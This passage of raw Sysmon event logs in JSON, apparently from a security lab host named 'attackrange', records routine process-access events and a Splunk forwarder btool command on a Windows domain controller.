ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.785\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001072080300}\r\nProcessId: 3996\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nParentProcessId: 3984\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.785","ProcessGuid":"{90617006-3FE5-5F2D-0000-001072080300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010BC070300}","ParentProcessId":"3984","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nSourceProcessId: 3984\r\nSourceThreadId: 3988\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","SourceProcessId":"3984","SourceThreadId":"3988","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+39